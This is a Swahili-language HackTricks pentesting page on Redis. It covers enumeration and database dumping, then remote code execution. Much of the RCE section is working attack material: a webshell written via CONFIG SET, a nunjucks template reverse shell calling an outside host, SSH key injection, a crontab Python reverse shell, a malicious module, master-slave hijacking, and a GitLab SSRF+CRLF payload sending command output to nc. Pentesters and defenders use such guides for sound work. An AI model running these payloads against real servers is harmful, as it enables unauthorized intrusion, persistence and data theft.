hacktricks/network-services-pentesting/6379-pentesting-redis.md

19 KiB
Raw Blame History

6379 - Kupima Usalama wa Redis

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa zawadi za mdudu!

Machapisho ya Kudukua
Shiriki na yaliyomo yanayochimba kina katika msisimko na changamoto za kudukua

Taarifa za Kudukua za Muda Halisi
Kaa sasa na ulimwengu wa kudukua wenye kasi kupitia habari za muda halisi na ufahamu

Matangazo ya Karibuni
Baki mwelekezi na zawadi mpya za mdudu zinazozinduliwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Taarifa Msingi

Kutoka nyaraka: Redis ni chanzo wazi (lenye leseni ya BSD), duka la muundo wa data la kumbukumbu, hutumiwa kama database, cache na mpatanishi wa ujumbe).

Kwa chaguo-msingi Redis hutumia itifaki inayotegemea maandishi ya wazi, lakini lazima ukumbuke inaweza pia kutekeleza ssl/tls. Jifunze jinsi ya kuendesha Redis na ssl/tls hapa.

Bandari ya chaguo-msingi: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Uchambuzi wa Kiotomatiki

Baadhi ya zana za kiotomatiki zinazoweza kusaidia kupata habari kutoka kwa kipengele cha redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Uchambuzi wa Mikono

Bango

Redis ni itifaki inayotegemea maandishi, unaweza tu kutuma amri kwenye soketi na thamani zilizorudishwa zitaweza kusomwa. Pia kumbuka kwamba Redis inaweza kuendeshwa kwa kutumia ssl/tls (ingawa hii ni ya kushangaza sana).

Katika kipengele cha kawaida cha Redis unaweza tu kuunganisha kutumia nc au pia unaweza kutumia redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Amri ya kwanza unaweza kujaribu ni info. Inaweza kurudisha matokeo na habari ya kipengee cha Redis au kitu kama ifuatavyo kurudishwa:

-NOAUTH Authentication required.

Katika kesi hii ya mwisho, hii inamaanisha kwamba unahitaji sifa halali ili kupata ufikiaji wa kipengee cha Redis.

Uthibitishaji wa Redis

Kwa chaguo-msingi Redis inaweza kupatikana bila sifa. Walakini, inaweza kusanidiwa ili kusaidia nenosiri pekee, au jina la mtumiaji + nenosiri.
Inawezekana kuweka nenosiri katika faili ya redis.conf kwa kutumia parameter requirepass au kwa muda hadi huduma ianzishwe upya kwa kuunganisha na kukimbia: config set requirepass p@ss$12E45.
Pia, jina la mtumiaji linaweza kusanidiwa kwa kutumia parameter masteruser ndani ya faili ya redis.conf.

{% hint style="info" %} Ikiwa nenosiri pekee limewekwa, jina la mtumiaji linalotumiwa ni "default".
Pia, kumbuka kwamba hakuna njia ya kugundua kwa nje ikiwa Redis ilisanidiwa na nenosiri pekee au jina la mtumiaji + nenosiri. {% endhint %}

Katika hali kama hii utahitaji kupata sifa halali ili kuingiliana na Redis hivyo unaweza kujaribu kuvunja nguvu.
Ikiwa umepata sifa halali unahitaji kuthibitisha kikao baada ya kuanzisha uhusiano na amri:

AUTH <username> <password>

Mandhari halali yatajibiwa na: +OK

Uchambuzi uliothibitishwa

Ikiwa seva ya Redis inaruhusu mawasiliano yasiyo na jina au ikiwa umepata mamlaka halali, unaweza kuanzisha mchakato wa uchambuzi kwa huduma kwa kutumia amri zifuatazo:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Amri zingine za Redis zinaweza kupatikana hapa na hapa.

Tafadhali kumbuka kwamba Amri za Redis za kipengee zinaweza kubadilishwa jina au kuondolewa katika faili ya redis.conf. Kwa mfano, mstari huu utaondoa amri ya FLUSHDB:

rename-command FLUSHDB ""

Zaidi kuhusu kusanidi kwa usalama huduma ya Redis hapa: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Unaweza pia kuangalia muda halisi amri za Redis zilizotekelezwa kwa kutumia amri monitor au kupata 25 ya amri zenye kuchelewa zaidi kwa kutumia slowlog get 25

Pata habari zaidi kuhusu amri zaidi za Redis hapa: https://lzone.de/cheat-sheet/Redis

Kudumpisha Database

Ndani ya Redis databases ni nambari zinazoanza na 0. Unaweza kujua kama yeyote anatumika kwa kutumia matokeo ya amri info ndani ya sehemu ya "Keyspace":

Au unaweza tu kupata keyspaces zote (databases) kwa:

INFO keyspace

Katika mfano huo database 0 na 1 zinatumika. Database 0 ina funguo 4 na database 1 ina 1. Kwa chaguo-msingi Redis itatumia database 0. Ili kudump mfano wa database 1 unahitaji kufanya:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Ikiwa unapata kosa la -WRONGTYPE Operation against a key holding the wrong kind of value wakati unatekeleza GET <KEY> ni kwa sababu ufunguo huenda usiwe string au nambari na unahitaji mwendeshaji maalum kuonyesha hiyo.

Ili kujua aina ya ufunguo, tumia amri ya TYPE, mfano hapa chini kwa ufunguo wa orodha na hash.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dump the database with npm redis-dump au python redis-utils

Jiunge na HackenProof Discord server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!

Machapisho ya Kudukua
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za kudukua

Taarifa za Kudukua za Wakati Halisi
Kaa sawa na ulimwengu wa kudukua wenye kasi kupitia habari za wakati halisi na ufahamu

Matangazo ya Karibuni
Baki mwelekezwa na tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Redis RCE

Kifaa cha Mwingiliano

redis-rogue-server inaweza kupata kiotomatiki kifaa cha mwingiliano au kifaa cha mwingiliano wa nyuma kwenye Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Maelezo kutoka hapa. Lazima ujue njia ya folda ya Tovuti:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Ikiwa kuna kipekee cha ufikiaji wa webshell, unaweza kusafisha database baada ya kufanya nakala rudufu na kujaribu tena, kumbuka kurejesha database.

Kigezo cha Webshell

Kama ilivyokuwa katika sehemu iliyopita unaweza pia kubadilisha faili ya templeti ya html ambayo italetwa na injini ya templeti na kupata shell.

Kwa mfano, kufuatia hii andishi, unaweza kuona kwamba mkaidi aliingiza rev shell katika html iliyotafsiriwa na injini ya templeti ya nunjucks:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Tafadhali kumbuka mifumo kadhaa ya templeti hufanya cache ya templeti kwenye kumbukumbu, hivyo hata kama unazibadilisha, ile mpya haitatekelezwa. Katika hali hizi, au mwandishi aliacha upya wa kiotomatiki ukiwa hai au unahitaji kufanya DoS juu ya huduma (na kutarajia itazinduliwa upya kiotomatiki). {% endhint %}

SSH

Mfano kutoka hapa

Tafadhali fahamu kuwa matokeo ya config get dir yanaweza kubadilika baada ya amri zingine za kuvamia kwa mikono. Pendekeza kuikimbia kwanza mara tu baada ya kuingia kwenye Redis. Katika matokeo ya config get dir unaweza kupata nyumbani kwa mtumiaji wa redis (kawaida /var/lib/redis au /home/redis/.ssh), na ukijua hili unajua mahali unaweza kuandika faili ya authenticated_users ili kupata ufikiaji kupitia ssh na mtumiaji redis. Ikiwa unajua nyumbani mwa mtumiaji mwingine halali ambapo una ruhusa ya kuandika unaweza pia kuitumia:

  1. Unda jozi ya ufunguo wa umma-binafsi ya ssh kwenye kompyuta yako: ssh-keygen -t rsa
  2. Andika ufunguo wa umma kwenye faili: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Ingiza faili kwenye redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Hifadhi ufunguo wa umma kwenye faili ya authorized_keys kwenye seva ya redis:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Hatimaye, unaweza ssh kwenye seva ya redis na ufunguo wa binafsi: ssh -i id_rsa redis@10.85.0.52

Hii mbinu imeautomatishwa hapa: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Mfano wa mwisho ni kwa Ubuntu, kwa Centos, amri hapo juu inapaswa kuwa: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Njia hii inaweza pia kutumika kupata bitcoin: yam

Pakia Moduli ya Redis

  1. Kufuata maagizo kutoka https://github.com/n0b0dyCN/RedisModules-ExecuteCommand unaweza kukusanya moduli ya redis kutekeleza amri za aina yoyote.
  2. Kisha unahitaji njia ya kupakia moduli iliyokusanywa
  3. Pakia moduli iliyopakiwa wakati wa uendeshaji kwa kutumia MODULE LOAD /path/to/mymodule.so
  4. Orodhesha moduli zilizopakiwa kuhakikisha imepakia kwa usahihi: MODULE LIST
  5. Tekeleza amri:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Pakua moduli wakati wowote unapotaka: MODULE UNLOAD mymodule

Kizuizi cha Sanduku la LUA

Hapa unaweza kuona kuwa Redis hutumia amri EVAL kutekeleza Lua code sandboxed. Katika chapisho lililounganishwa unaweza kuona jinsi ya kulaghai kutumia kazi ya dofile, lakini kwa mujibu wa hili sio tena linalowezekana. Kwa njia yoyote, ikiwa unaweza kupita kizuizi cha Lua unaweza kutekeleza amri za aina yoyote kwenye mfumo. Pia, kutoka kwenye chapisho hilo hilo unaweza kuona baadhi ya chaguzi za kusababisha DoS.

Baadhi ya CVEs za kutoroka kutoka LUA:

Moduli ya Bwana-Mtumwa

Operesheni zote za bwana wa redis zinasawazishwa moja kwa moja kwa mtumwa wa redis, ambayo inamaanisha tunaweza kuchukulia udhaifu wa redis kama mtumwa wa redis, uliounganishwa na bwana wa redis ambao tunadhibiti, kisha tunaweza kuingiza amri kwenye redis yetu wenyewe.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF kuzungumza na Redis

Ikiwa unaweza kutuma ombi la maandishi wazi kwa Redis, unaweza kuwasiliana nayo kwani Redis itasoma ombi line kwa line na kujibu kwa makosa kwa mistari ambayo haielewi:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Kwa hivyo, ikiwa utapata SSRF vuln kwenye tovuti na unaweza kudhibiti baadhi ya headers (labda na CRLF vuln) au POST parameters, utaweza kutuma amri za kupendelea kwa Redis.

Mfano: Gitlab SSRF + CRLF hadi Shell

Katika Gitlab11.4.7 iligunduliwa SSRF vulnerability na CRLF. SSRF vulnerability ilikuwa katika import project from URL functionality wakati wa kuunda mradi mpya na kuruhusu kupata IPs za kupendelea kwa mfano [0:0:0:0:0:ffff:127.0.0.1] (hii itapata 127.0.0.1), na CRLF vuln ilidukuliwa kwa kuongeza tu wahusika wa %0D%0A kwenye URL.

Kwa hivyo, ilikuwa inawezekana kutumia vulnerabilities hizi kuzungumza na kipengele cha Redis ambacho kinasimamia foleni kutoka gitlab na kutumia foleni hizo kwa kupata utekelezaji wa kanuni. Payload ya udanganyifu wa foleni ya Redis ni:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Na ombi la URL encode linalotumia SSRF na CRLF kutekeleza whoami na kutuma pato kupitia nc ni:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Kwa sababu fulani (kama ilivyokuwa kwa mwandishi wa https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ ambapo habari hii ilitoka) uchomaji ulifanya kazi na mpango wa git na sio na mpango wa http.

Jiunge na HackenProof Discord server ili kushirikiana na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa!

Machapisho ya Udukuzi
Shiriki na yaliyomo yanayochimba kina cha udukuzi na changamoto zake

Taarifa za Udukuzi za Wakati Halisi
Kaa sawa na ulimwengu wa udukuzi wenye kasi kupitia taarifa za habari za wakati halisi na ufahamu

Matangazo ya Karibuni
Baki mwelekezi na tuzo mpya za makosa zinazoanzishwa na sasisho muhimu za jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na wadukuzi bora leo!

Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: